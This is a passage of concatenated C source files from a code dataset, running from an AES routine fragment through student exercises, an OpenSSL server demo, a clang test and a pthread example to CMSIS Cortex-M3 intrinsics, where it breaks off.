buf3 = state[buf4+3]^buf2; buf3=galois_mul2(buf3); state[buf4+3] = state[buf4+3] ^ buf3 ^ buf1;
}
}
if (dir) {
//Inv shift rows
// Row 1
buf1 = state[13];
state[13] = state[9];
state[9] = state[5];
state[5] = state[1];
state[1] = buf1;
//Row 2
buf1 = state[10];
buf2 = state[14];
state[10] = state[2];
state[14] = state[6];
state[2] = buf1;
state[6] = buf2;
//Row 3
buf1 = state[3];
state[3] = state[7];
state[7] = state[11];
state[11] = state[15];
state[15] = buf1;
for (i = 0; i <16; i++){
// with shiftrow i+5 mod 16
state[i]=rsbox[state[i]] ^ key[i];
}
} else {
//key schedule
key[0] = sbox[key[13]]^key[0]^Rcon[round];
key[1] = sbox[key[14]]^key[1];
key[2] = sbox[key[15]]^key[2];
key[3] = sbox[key[12]]^key[3];
for (i=4; i<16; i++) {
key[i] = key[i] ^ key[i-4];
}
}
}
if (!dir) {
//last Addroundkey
for (i = 0; i <16; i++){
// with shiftrow i+5 mod 16
state[i]=state[i] ^ key[i];
} // enf for
} // end if (!dir)
} // end function
|
the_stack_data/1082311.c | #include<stdio.h>
int main()
{
int n;
while(1){
scanf("%d",&n);
if(n==2002){
printf("Acesso Permitido\n");
break;
}
else printf("Senha Invalida\n");
}
return 0;
}
|
the_stack_data/12054.c | #include <stdio.h>
void hanoi(int n, int from, int temp, int to) {
if (n == 0)
return;
hanoi(n - 1, from, to, temp);
printf("%d --> %d\n", from, to);
hanoi(n - 1, temp, from, to);
}
int main() {
int n;
printf("Inserisci il numero di dischi: ");
scanf(" %d", &n);
hanoi(n, 0, 1, 2);
return 0;
}
|
the_stack_data/35712.c | #include<stdio.h>
void main(){
int a;
printf("Enter a number:\n");
scanf("%d",&a);
if (a%2==0){
printf("%d is an Even Number\n",a);}
else{
printf("%d is an Odd Number\n",a);
}
}
|
the_stack_data/140766510.c | #include<stdio.h>
#include<stdlib.h>
int cnt=0;
typedef struct myQueue
{
int *Q;
int front,rear,size,diff;
}Queue;
Queue* createqueue()
{
Queue* q =(Queue*) calloc(1,sizeof(Queue)); //memory allocated to structure
q->size=100;
q->Q =(int*) calloc(q->size,sizeof(int)); //memory allocated to Q
q->front=-1;
q->rear=-1;
q->diff=-1;
return q;
}
int isfull(Queue* q)
{
if(q->rear == q->size)
return(1);
else
return(0);
}
int isempty(Queue *q)
{ if(q->front==-1)
return 1;
else
return 0;
}
void enqueue(Queue *q, int k)
{
if(isfull(q) == 1)
{
printf("Queue is Full\n");
return;
}
if(q->rear==-1)
{ q->front=0;
q->Q[++q->rear] = k;
}
else
q->Q[++q->rear] = k;
cnt++;
q->diff++;
}
int dequeue(Queue *q)
{ if(isempty(q)==1)
{ printf("Queue is empty\n");
exit(1);
}
else
{int x=q->Q[(q->rear)-(q->diff)];
q->diff--;
return x;
}
}
int main()
{
Queue* q=createqueue();
enqueue(q,1);
enqueue(q,2);
enqueue(q,3);
enqueue(q,4);
enqueue(q,5);
enqueue(q,6);
enqueue(q,7);
enqueue(q,8);
enqueue(q,9);
enqueue(q,10);
for(int i=0;i<cnt;i++)
printf("%d\n",q->Q[i]);
int element=dequeue(q);
printf("\n%d\n",element);
return 0;
}
|
the_stack_data/51699966.c | /* Testing Code */
#include <limits.h>
#include <math.h>
/* Routines used by floation point test code */
/* Convert from bit level representation to floating point number */
float u2f(unsigned u) {
union {
unsigned u;
float f;
} a;
a.u = u;
return a.f;
}
/* Convert from floating point number to bit-level representation */
unsigned f2u(float f) {
union {
unsigned u;
float f;
} a;
a.f = f;
return a.u;
}
int test_conditional(int x, int y, int z)
{
return x?y:z;
}
int test_isNonNegative(int x) {
return x >= 0;
}
int test_isGreater(int x, int y)
{
return x > y;
}
int test_absVal(int x) {
return (x < 0) ? -x : x;
}
int test_isPower2(int x) {
int i;
for (i = 0; i < 31; i++) {
if (x == 1<<i)
return 1;
}
return 0;
}
unsigned test_float_neg(unsigned uf) {
float f = u2f(uf);
float nf = -f;
if (isnan(f))
return uf;
else
return f2u(nf);
}
unsigned test_float_i2f(int x) {
float f = (float) x;
return f2u(f);
}
|
the_stack_data/3261947.c | /**
* \file socket.c
* \brief Socket helper routines
* \author Abramo Bagnara <[email protected]>
* \date 2003
*/
/*
* Socket helper routines
* Copyright (c) 2003 by Abramo Bagnara <[email protected]>
*
*
* This library is free software; you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as
* published by the Free Software Foundation; either version 2.1 of
* the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*
*/
|
the_stack_data/87638377.c | // RUN: %clang_cc1 -triple x86_64-apple-darwin10 %s -emit-llvm -o - \
// RUN: -fioc-shifts | FileCheck %s --check-prefix=SHIFT
// RUN: %clang_cc1 -triple x86_64-apple-darwin10 %s -emit-llvm -o - \
// RUN: -fioc-strict-shifts | FileCheck %s --check-prefix=STRICT
unsigned int u1, u2, u3;
signed int s1, s2, s3;
// SHIFT: define void @testSShl()
// STRICT: define void @testSShl()
void testSShl() {
// SHIFT: [[T1:%.*]] = load i32* @s2
// SHIFT: [[T2:%.*]] = load i32* @s3
// SHIFT: icmp ule i32 [[T2]], 31
// SHIFT: call void @__ioc_report_shl_bitwidth
// STRICT: [[T1:%.*]] = load i32* @s2
// STRICT: [[T2:%.*]] = load i32* @s3
// STRICT: icmp ule i32 [[T2]], 31
// STRICT: call void @__ioc_report_shl_bitwidth
// STRICT: call void @__ioc_report_shl_strict
s1 = s2 << s3;
}
// SHIFT: define void @testSShr()
// STRICT: define void @testSShr()
void testSShr() {
// SHIFT: [[T1:%.*]] = load i32* @s2
// SHIFT: [[T2:%.*]] = load i32* @s3
// SHIFT: icmp ult i32 [[T2]], 32
// SHIFT: call void @__ioc_report_shr_bitwidth
// SHIFT-NOT: call void @__ioc_report_shr_strict
// STRICT: [[T1:%.*]] = load i32* @s2
// STRICT: [[T2:%.*]] = load i32* @s3
// STRICT: icmp ult i32 [[T2]], 32
// STRICT: call void @__ioc_report_shr_bitwidth
// STRICT-NOT: call void @__ioc_report_shr_strict
s1 = s2 >> s3;
}
// SHIFT: define void @testUShl()
// STRICT: define void @testUShl()
void testUShl() {
// SHIFT: [[T1:%.*]] = load i32* @u2
// SHIFT: [[T2:%.*]] = load i32* @u3
// SHIFT: icmp ule i32 [[T2]], 31
// SHIFT: call void @__ioc_report_shl_bitwidth
// SHIFT-NOT: call void @__ioc_report_shl_strict
// STRICT: [[T1:%.*]] = load i32* @u2
// STRICT: [[T2:%.*]] = load i32* @u3
// STRICT: icmp ule i32 [[T2]], 31
// STRICT: call void @__ioc_report_shl_bitwidth
// STRICT-NOT: call void @__ioc_report_shl_strict
u1 = u2 << u3;
}
// SHIFT: define void @testUShr()
// STRICT: define void @testUShr()
void testUShr() {
// SHIFT: [[T1:%.*]] = load i32* @u2
// SHIFT: [[T2:%.*]] = load i32* @u3
// SHIFT: icmp ult i32 [[T2]], 32
// SHIFT: call void @__ioc_report_shr_bitwidth
// SHIFT-NOT: call void @__ioc_report_shr_strict
// STRICT: [[T1:%.*]] = load i32* @u2
// STRICT: [[T2:%.*]] = load i32* @u3
// STRICT: icmp ult i32 [[T2]], 32
// STRICT: call void @__ioc_report_shr_bitwidth
// STRICT-NOT: call void @__ioc_report_shr_strict
u1 = u2 >> u3;
}
|
the_stack_data/6387107.c |
#include<stdio.h>
#include<stdlib.h>
typedef struct node {
int value;
struct node *next;
struct node *prev;
} node;
typedef node* list;
int init(list *root)
{
*root = NULL;
return 1;
}
list find(list root, int value) {
while (root->value != value) {
root = root->next;
if (root == NULL)
return NULL;
}
return root;
}
int removing(list *lst) {
if (*lst != NULL) {
list del = *lst;
if (((*lst)->prev != NULL) && ((*lst)->next != NULL)) {
(*lst)->prev->next = (*lst)->next;
(*lst)->next->prev = (*lst)->prev;
}
if (((*lst)->prev == NULL) && ((*lst)->next != NULL)) {
(*lst)->next->prev = NULL;
(*lst) = (*lst)->next;
}
if (((*lst)->prev != NULL) && ((*lst)->next == NULL)) {
(*lst)->prev->next = NULL;
}
free(del);
}
return 1;
}
int isEmpty(list root) {
if (root) return 1;
else return 0;
}
int destroy(list *root) {
list next;
while (*root != NULL) {
next = *root;
*root = (*root)->next;
free(next);
}
return 1;
}
int append(list *lst, int value) {
if ((*lst) == NULL) {
list buff = (list)malloc(sizeof(node));
buff->next = NULL;
buff->value = value;
buff->prev = NULL;
*lst = buff;
return 1;
}
if ((*lst)->next == NULL) {
list buff = (list)malloc(sizeof(node));
buff->next = NULL;
buff->value = value;
buff->prev = *lst;
(*lst)->next = buff;
return 1;
}
else {
list buff = (list)malloc(sizeof(node));
buff->next = (*lst)->next;
buff->value = value;
buff->prev = *lst;
(*lst)->next->prev = buff;
(*lst)->next = buff;
return 1;
}
}
int prepend(list *lst, int value) {
if ((*lst) == NULL) {
list buff = (list)malloc(sizeof(node));
buff->next = NULL;
buff->value = value;
buff->prev = NULL;
*lst = buff;
return 1;
}
if ((*lst)->prev == NULL) {
list buff = (list)malloc(sizeof(node));
buff->prev = NULL;
buff->value = value;
buff->next = *lst;
(*lst)->prev = buff;
(*lst) = (*lst)->prev;
return 1;
}
else {
list buff = (list)malloc(sizeof(node));
buff->value = value;
buff->prev = (*lst)->prev;
buff->next = *lst;
(*lst)->prev->next = buff;
(*lst)->prev = buff;
return 1;
}
}
int print(list *lst) {
list tmp = *lst;
while (tmp != NULL) {
printf("%d ", tmp->value);
tmp = tmp->next;
}
printf("\n");
return 1;
}
int main() {
list head;
init(&head);
int i, el, sz, k, m, a, b, c, d;
scanf("%d", &sz);
if (sz > 0) {
scanf("%d", &el);
append(&head, el);
}
list tmp = head;
for (i = 1; i < sz; ++i) {
scanf("%d", &el);
append(&tmp, el);
tmp = tmp->next;
}
print(&head);
scanf("%d", &k);
if (k == 1)
removing(&head);
else {
list next = head;
for (i = 1; i < k; ++i) {
next = next->next;
}
removing(&next);
}
print(&head);
scanf("%d", &m);
list del = find(head, m);
if (del == head)
removing(&head);
else
removing(&del);
print(&head);
scanf("%d%d", &a, &b);
list next = head;
for (i = 1; i < a; ++i) {
next = next->next;
}
append(&next, b);
print(&head);
scanf("%d%d", &c, &d);
if (c == 1)
prepend(&head, d);
else {
list next = head;
for (i = 1; i < c; ++i) {
next = next->next;
}
prepend(&next, d);
}
print(&head);
return 0;
}
|
the_stack_data/159515431.c | /* ====================================================================
* Copyright (c) 2000 The OpenSSL Project. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
*
* 3. All advertising materials mentioning features or use of this
* software must display the following acknowledgment:
* "This product includes software developed by the OpenSSL Project
* for use in the OpenSSL Toolkit. (http://www.openssl.org/)"
*
* 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to
* endorse or promote products derived from this software without
* prior written permission. For written permission, please contact
* [email protected].
*
* 5. Products derived from this software may not be called "OpenSSL"
* nor may "OpenSSL" appear in their names without prior written
* permission of the OpenSSL Project.
*
* 6. Redistributions of any form whatsoever must retain the following
* acknowledgment:
* "This product includes software developed by the OpenSSL Project
* for use in the OpenSSL Toolkit (http://www.openssl.org/)"
*
* THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY
* EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR
* ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
* ====================================================================
*
* This product includes cryptographic software written by Eric Young
* ([email protected]). This product includes software written by Tim
* Hudson ([email protected]).
*
*/
/*
* Nuron, a leader in hardware encryption technology, generously
* sponsored the development of this demo by Ben Laurie.
*
* See http://www.nuron.com/.
*/
/*
* the aim of this demo is to provide a fully working state-machine
* style SSL implementation, i.e. one where the main loop acquires
* some data, then converts it from or to SSL by feeding it into the
* SSL state machine. It then does any I/O required by the state machine
* and loops.
*
* In order to keep things as simple as possible, this implementation
* listens on a TCP socket, which it expects to get an SSL connection
* on (for example, from s_client) and from then on writes decrypted
* data to stdout and encrypts anything arriving on stdin. Verbose
* commentary is written to stderr.
*
* This implementation acts as a server, but it can also be done for a client. */
#include <openssl/ssl.h>
#include <assert.h>
#include <unistd.h>
#include <string.h>
#include <openssl/err.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
/* die_unless is intended to work like assert, except that it happens
always, even if NDEBUG is defined. Use assert as a stopgap. */
#define die_unless(x) assert(x)
typedef struct
{
SSL_CTX *pCtx;
BIO *pbioRead;
BIO *pbioWrite;
SSL *pSSL;
} SSLStateMachine;
void SSLStateMachine_print_error(SSLStateMachine *pMachine,const char *szErr)
{
unsigned long l;
fprintf(stderr,"%s\n",szErr);
while((l=ERR_get_error()))
{
char buf[1024];
ERR_error_string_n(l,buf,sizeof buf);
fprintf(stderr,"Error %lx: %s\n",l,buf);
}
}
SSLStateMachine *SSLStateMachine_new(const char *szCertificateFile,
const char *szKeyFile)
{
SSLStateMachine *pMachine=malloc(sizeof *pMachine);
int n;
die_unless(pMachine);
pMachine->pCtx=SSL_CTX_new(SSLv23_server_method());
die_unless(pMachine->pCtx);
n=SSL_CTX_use_certificate_file(pMachine->pCtx,szCertificateFile,
SSL_FILETYPE_PEM);
die_unless(n > 0);
n=SSL_CTX_use_PrivateKey_file(pMachine->pCtx,szKeyFile,SSL_FILETYPE_PEM);
die_unless(n > 0);
pMachine->pSSL=SSL_new(pMachine->pCtx);
die_unless(pMachine->pSSL);
pMachine->pbioRead=BIO_new(BIO_s_mem());
pMachine->pbioWrite=BIO_new(BIO_s_mem());
SSL_set_bio(pMachine->pSSL,pMachine->pbioRead,pMachine->pbioWrite);
SSL_set_accept_state(pMachine->pSSL);
return pMachine;
}
void SSLStateMachine_read_inject(SSLStateMachine *pMachine,
const unsigned char *aucBuf,int nBuf)
{
int n=BIO_write(pMachine->pbioRead,aucBuf,nBuf);
/* If it turns out this assert fails, then buffer the data here
* and just feed it in in churn instead. Seems to me that it
* should be guaranteed to succeed, though.
*/
assert(n == nBuf);
fprintf(stderr,"%d bytes of encrypted data fed to state machine\n",n);
}
int SSLStateMachine_read_extract(SSLStateMachine *pMachine,
unsigned char *aucBuf,int nBuf)
{
int n;
if(!SSL_is_init_finished(pMachine->pSSL))
{
fprintf(stderr,"Doing SSL_accept\n");
n=SSL_accept(pMachine->pSSL);
if(n == 0)
fprintf(stderr,"SSL_accept returned zero\n");
if(n < 0)
{
int err;
if((err=SSL_get_error(pMachine->pSSL,n)) == SSL_ERROR_WANT_READ)
{
fprintf(stderr,"SSL_accept wants more data\n");
return 0;
}
SSLStateMachine_print_error(pMachine,"SSL_accept error");
exit(7);
}
return 0;
}
n=SSL_read(pMachine->pSSL,aucBuf,nBuf);
if(n < 0)
{
int err=SSL_get_error(pMachine->pSSL,n);
if(err == SSL_ERROR_WANT_READ)
{
fprintf(stderr,"SSL_read wants more data\n");
return 0;
}
SSLStateMachine_print_error(pMachine,"SSL_read error");
exit(8);
}
fprintf(stderr,"%d bytes of decrypted data read from state machine\n",n);
return n;
}
int SSLStateMachine_write_can_extract(SSLStateMachine *pMachine)
{
int n=BIO_pending(pMachine->pbioWrite);
if(n)
fprintf(stderr,"There is encrypted data available to write\n");
else
fprintf(stderr,"There is no encrypted data available to write\n");
return n;
}
int SSLStateMachine_write_extract(SSLStateMachine *pMachine,
unsigned char *aucBuf,int nBuf)
{
int n;
n=BIO_read(pMachine->pbioWrite,aucBuf,nBuf);
fprintf(stderr,"%d bytes of encrypted data read from state machine\n",n);
return n;
}
void SSLStateMachine_write_inject(SSLStateMachine *pMachine,
const unsigned char *aucBuf,int nBuf)
{
int n=SSL_write(pMachine->pSSL,aucBuf,nBuf);
/* If it turns out this assert fails, then buffer the data here
* and just feed it in in churn instead. Seems to me that it
* should be guaranteed to succeed, though.
*/
assert(n == nBuf);
fprintf(stderr,"%d bytes of unencrypted data fed to state machine\n",n);
}
int OpenSocket(int nPort)
{
int nSocket;
struct sockaddr_in saServer;
struct sockaddr_in saClient;
int one=1;
int nSize;
int nFD;
int nLen;
nSocket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(nSocket < 0)
{
perror("socket");
exit(1);
}
if(setsockopt(nSocket,SOL_SOCKET,SO_REUSEADDR,(char *)&one,sizeof one) < 0)
{
perror("setsockopt");
exit(2);
}
memset(&saServer,0,sizeof saServer);
saServer.sin_family=AF_INET;
saServer.sin_port=htons(nPort);
nSize=sizeof saServer;
if(bind(nSocket,(struct sockaddr *)&saServer,nSize) < 0)
{
perror("bind");
exit(3);
}
if(listen(nSocket,512) < 0)
{
perror("listen");
exit(4);
}
nLen=sizeof saClient;
nFD=accept(nSocket,(struct sockaddr *)&saClient,&nLen);
if(nFD < 0)
{
perror("accept");
exit(5);
}
fprintf(stderr,"Incoming accepted on port %d\n",nPort);
return nFD;
}
int main(int argc,char **argv)
{
SSLStateMachine *pMachine;
int nPort;
int nFD;
const char *szCertificateFile;
const char *szKeyFile;
char rbuf[1];
int nrbuf=0;
if(argc != 4)
{
fprintf(stderr,"%s <port> <certificate file> <key file>\n",argv[0]);
exit(6);
}
nPort=atoi(argv[1]);
szCertificateFile=argv[2];
szKeyFile=argv[3];
OpenSSL_add_ssl_algorithms();
SSL_load_error_strings();
nFD=OpenSocket(nPort);
pMachine=SSLStateMachine_new(szCertificateFile,szKeyFile);
for( ; ; )
{
fd_set rfds,wfds;
unsigned char buf[1024];
int n;
FD_ZERO(&rfds);
FD_ZERO(&wfds);
/* Select socket for input */
FD_SET(nFD,&rfds);
/* check whether there's decrypted data */
if(!nrbuf)
nrbuf=SSLStateMachine_read_extract(pMachine,rbuf,1);
/* if there's decrypted data, check whether we can write it */
if(nrbuf)
FD_SET(1,&wfds);
/* Select socket for output */
if(SSLStateMachine_write_can_extract(pMachine))
FD_SET(nFD,&wfds);
/* Select stdin for input */
FD_SET(0,&rfds);
/* Wait for something to do something */
n=select(nFD+1,&rfds,&wfds,NULL,NULL);
assert(n > 0);
/* Socket is ready for input */
if(FD_ISSET(nFD,&rfds))
{
n=read(nFD,buf,sizeof buf);
if(n == 0)
{
fprintf(stderr,"Got EOF on socket\n");
exit(0);
}
assert(n > 0);
SSLStateMachine_read_inject(pMachine,buf,n);
}
/* stdout is ready for output (and hence we have some to send it) */
if(FD_ISSET(1,&wfds))
{
assert(nrbuf == 1);
buf[0]=rbuf[0];
nrbuf=0;
n=SSLStateMachine_read_extract(pMachine,buf+1,sizeof buf-1);
if(n < 0)
{
SSLStateMachine_print_error(pMachine,"read extract failed");
break;
}
assert(n >= 0);
++n;
if(n > 0) /* FIXME: has to be true now */
{
int w;
w=write(1,buf,n);
/* FIXME: we should push back any unwritten data */
assert(w == n);
}
}
/* Socket is ready for output (and therefore we have output to send) */
if(FD_ISSET(nFD,&wfds))
{
int w;
n=SSLStateMachine_write_extract(pMachine,buf,sizeof buf);
assert(n > 0);
w=write(nFD,buf,n);
/* FIXME: we should push back any unwritten data */
assert(w == n);
}
/* Stdin is ready for input */
if(FD_ISSET(0,&rfds))
{
n=read(0,buf,sizeof buf);
if(n == 0)
{
fprintf(stderr,"Got EOF on stdin\n");
exit(0);
}
assert(n > 0);
SSLStateMachine_write_inject(pMachine,buf,n);
}
}
/* not reached */
return 0;
}
|
the_stack_data/243891864.c | #include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
pthread_mutex_t mut = PTHREAD_MUTEX_INITIALIZER; // ❶
void* some_func(void *arg) { // 스레드용 함수
if (pthread_mutex_lock(&mut) != 0) { // ❷
perror("pthread_mutex_lock"); exit(-1);
}
// 크리티컬 섹션
if (pthread_mutex_unlock(&mut) != 0) { // ❸
perror("pthread_mutex_unlock"); exit(-1);
}
return NULL;
}
int main(int argc, char *argv[]) {
// 스레드 생성
pthread_t th1, th2;
if (pthread_create(&th1, NULL, some_func, NULL) != 0) {
perror("pthread_create"); return -1;
}
if (pthread_create(&th2, NULL, some_func, NULL) != 0) {
perror("pthread_create"); return -1;
}
// 스레드 종료 대기
if (pthread_join(th1, NULL) != 0) {
perror("pthread_join"); return -1;
}
if (pthread_join(th2, NULL) != 0) {
perror("pthread_join"); return -1;
}
// 뮤텍스 객체 반환
if (pthread_mutex_destroy(&mut) != 0) { // ❹
perror("pthread_mutex_destroy"); return -1;
}
return 0;
} |
the_stack_data/543185.c | /**************************************************************************//**
* @file core_cm3.c
* @brief CMSIS Cortex-M3 Core Peripheral Access Layer Source File
* @version V1.30
* @date 30. October 2009
*
* @note
* Copyright (C) 2009 ARM Limited. All rights reserved.
*
* @par
* ARM Limited (ARM) is supplying this software for use with Cortex-M
* processor based microcontrollers. This file can be freely distributed
* within development tools that are supporting such ARM based processors.
*
* @par
* THIS SOFTWARE IS PROVIDED "AS IS". NO WARRANTIES, WHETHER EXPRESS, IMPLIED
* OR STATUTORY, INCLUDING, BUT NOT LIMITED TO, IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE APPLY TO THIS SOFTWARE.
* ARM SHALL NOT, IN ANY CIRCUMSTANCES, BE LIABLE FOR SPECIAL, INCIDENTAL, OR
* CONSEQUENTIAL DAMAGES, FOR ANY REASON WHATSOEVER.
*
******************************************************************************/
#include <stdint.h>
/* define compiler specific symbols */
#if defined ( __CC_ARM )
#define __ASM __asm /*!< asm keyword for ARM Compiler */
#define __INLINE __inline /*!< inline keyword for ARM Compiler */
#elif defined ( __ICCARM__ )
#define __ASM __asm /*!< asm keyword for IAR Compiler */
#define __INLINE inline /*!< inline keyword for IAR Compiler. Only avaiable in High optimization mode! */
#elif defined ( __GNUC__ )
#define __ASM __asm /*!< asm keyword for GNU Compiler */
#define __INLINE inline /*!< inline keyword for GNU Compiler */
#elif defined ( __TASKING__ )
#define __ASM __asm /*!< asm keyword for TASKING Compiler */
#define __INLINE inline /*!< inline keyword for TASKING Compiler */
#endif
/* ################### Compiler specific Intrinsics ########################### */
#if defined ( __CC_ARM ) /*------------------RealView Compiler -----------------*/
/* ARM armcc specific functions */
/**
* @brief Return the Process Stack Pointer
*
* @return ProcessStackPointer
*
* Return the actual process stack pointer
*/
__ASM uint32_t __get_PSP(void)
{
mrs r0, psp
bx lr
}
/**
* @brief Set the Process Stack Pointer
*
* @param topOfProcStack Process Stack Pointer
*
* Assign the value ProcessStackPointer to the MSP
* (process stack pointer) Cortex processor register
*/
__ASM void __set_PSP(uint32_t topOfProcStack)
{
msr psp, r0
bx lr
}
/**
* @brief Return the Main Stack Pointer
*
* @return Main Stack Pointer
*
* Return the current value of the MSP (main stack pointer)
* Cortex processor register
*/
__ASM uint32_t __get_MSP(void)
{
mrs r0, msp
bx lr
}
/**
* @brief Set the Main Stack Pointer
*
* @param topOfMainStack Main Stack Pointer
*
* Assign the value mainStackPointer to the MSP
* (main stack pointer) Cortex processor register
*/
__ASM void __set_MSP(uint32_t mainStackPointer)
{
msr msp, r0
bx lr
}
/**
* @brief Reverse byte order in unsigned short value
*
* @param value value to reverse
* @return reversed value
*
* Reverse byte order in unsigned short value
*/
__ASM uint32_t __REV16(uint16_t value)
{
rev16 r0, r0
bx lr
}
/**
* @brief Reverse byte order in signed short value with sign extension to integer
*
* @param value value to reverse
* @return reversed value
*
* Reverse byte order in signed short value with sign extension to integer
*/
__ASM int32_t __REVSH(int16_t value)
{
revsh r0, r0
bx lr
}
#if (__ARMCC_VERSION < 400000)
/**
* @brief Remove the exclusive lock created by ldrex
*
* Removes the exclusive lock which is created by ldrex.
*/
__ASM void __CLREX(void)
{
clrex
}
/**
* @brief Return the Base Priority value
*
* @return BasePriority
*
* Return the content of the base priority register
*/
__ASM uint32_t __get_BASEPRI(void)
{
mrs r0, basepri
bx lr
}
/**
* @brief Set the Base Priority value
*
* @param basePri BasePriority
*
* Set the base priority register
*/
__ASM void __set_BASEPRI(uint32_t basePri)
{
msr basepri, r0
bx lr
}
/**
* @brief Return the Priority Mask value
*
* @return PriMask
*
* Return state of the priority mask bit from the priority mask register
*/
__ASM uint32_t __get_PRIMASK(void)
{
mrs r0, primask
bx lr
}
/**
* @brief Set the Priority Mask value
*
* @param priMask PriMask
*
* Set the priority mask bit in the priority mask register
*/
__ASM void __set_PRIMASK(uint32_t priMask)
{
msr primask, r0
bx lr
}
/**
* @brief Return the Fault Mask value
*
* @return FaultMask
*
* Return the content of the fault mask register
*/
__ASM uint32_t __get_FAULTMASK(void)
{
mrs r0, faultmask
bx lr
}
/**
* @brief Set the Fault Mask value
*
* @param faultMask faultMask value
*
* Set the fault mask register
*/
__ASM void __set_FAULTMASK(uint32_t faultMask)
{
msr faultmask, r0
bx lr
}
/**
* @brief Return the Control Register value
*
* @return Control value
*
* Return the content of the control register
*/
__ASM uint32_t __get_CONTROL(void)
{
mrs r0, control
bx lr
}
/**
* @brief Set the Control Register value
*
* @param control Control value
*
* Set the control register
*/
__ASM void __set_CONTROL(uint32_t control)
{
msr control, r0
bx lr
}
#endif /* __ARMCC_VERSION */
#elif (defined (__ICCARM__)) /*------------------ ICC Compiler -------------------*/
/* IAR iccarm specific functions */
#pragma diag_suppress=Pe940
/**
* @brief Return the Process Stack Pointer
*
* @return ProcessStackPointer
*
* Return the actual process stack pointer
*/
uint32_t __get_PSP(void)
{
__ASM("mrs r0, psp");
__ASM("bx lr");
}
/**
* @brief Set the Process Stack Pointer
*
* @param topOfProcStack Process Stack Pointer
*
* Assign the value ProcessStackPointer to the MSP
* (process stack pointer) Cortex processor register
*/
void __set_PSP(uint32_t topOfProcStack)
{
__ASM("msr psp, r0");
__ASM("bx lr");
}
/**
* @brief Return the Main Stack Pointer
*
* @return Main Stack Pointer
*
* Return the current value of the MSP (main stack pointer)
* Cortex processor register
*/
uint32_t __get_MSP(void)
{
__ASM("mrs r0, msp");
__ASM("bx lr");
}
/**
* @brief Set the Main Stack Pointer
*
* @param topOfMainStack Main Stack Pointer
*
* Assign the value mainStackPointer to the MSP
* (main stack pointer) Cortex processor register
*/
void __set_MSP(uint32_t topOfMainStack)
{
__ASM("msr msp, r0");
__ASM("bx lr");
}
/**
* @brief Reverse byte order in unsigned short value
*
* @param value value to reverse
* @return reversed value
*
* Reverse byte order in unsigned short value
*/
uint32_t __REV16(uint16_t value)
{
__ASM("rev16 r0, r0");
__ASM("bx lr");
}
/**
* @brief Reverse bit order of value
*
* @param value value to reverse
* @return reversed value
*
* Reverse bit order of value
*/
uint32_t __RBIT(uint32_t value)
{
__ASM("rbit r0, r0");
__ASM("bx lr");
}
/**
* @brief LDR Exclusive (8 bit)
*
* @param *addr address pointer
* @return value of (*address)
*
* Exclusive LDR command for 8 bit values)
*/
uint8_t __LDREXB(uint8_t *addr)
{
__ASM("ldrexb r0, [r0]");
__ASM("bx lr");
}
/**
* @brief LDR Exclusive (16 bit)
*
* @param *addr address pointer
* @return value of (*address)
*
* Exclusive LDR command for 16 bit values
*/
uint16_t __LDREXH(uint16_t *addr)
{
__ASM("ldrexh r0, [r0]");
__ASM("bx lr");
}
/**
* @brief LDR Exclusive (32 bit)
*
* @param *addr address pointer
* @return value of (*address)
*
* Exclusive LDR command for 32 bit values
*/
uint32_t __LDREXW(uint32_t *addr)
{
__ASM("ldrex r0, [r0]");
__ASM("bx lr");
}
/**
* @brief STR Exclusive (8 bit)
*
* @param value value to store
* @param *addr address pointer
* @return successful / failed
*
* Exclusive STR command for 8 bit values
*/
uint32_t __STREXB(uint8_t value, uint8_t *addr)
{
__ASM("strexb r0, r0, [r1]");
__ASM("bx lr");
}
/**
* @brief STR Exclusive (16 bit)
*
* @param value value to store
* @param *addr address pointer
* @return successful / failed
*
* Exclusive STR command for 16 bit values
*/
uint32_t __STREXH(uint16_t value, uint16_t *addr)
{
__ASM("strexh r0, r0, [r1]");
__ASM("bx lr");
}
/**
* @brief STR Exclusive (32 bit)
*
* @param value value to store
* @param *addr address pointer
* @return successful / failed
*
* Exclusive STR command for 32 bit values
*/
uint32_t __STREXW(uint32_t value, uint32_t *addr)
{
__ASM("strex r0, r0, [r1]");
__ASM("bx lr");
}
#pragma diag_default=Pe940
#elif (defined (__GNUC__)) /*------------------ GNU Compiler ---------------------*/
/* GNU gcc specific functions */
/**
* @brief Return the Process Stack Pointer
*
* @return ProcessStackPointer
*
* Return the actual process stack pointer
*/
uint32_t __get_PSP(void) __attribute__( ( naked ) );
uint32_t __get_PSP(void)
{
uint32_t result=0;
__ASM volatile ("MRS %0, psp\n\t"
"MOV r0, %0 \n\t"
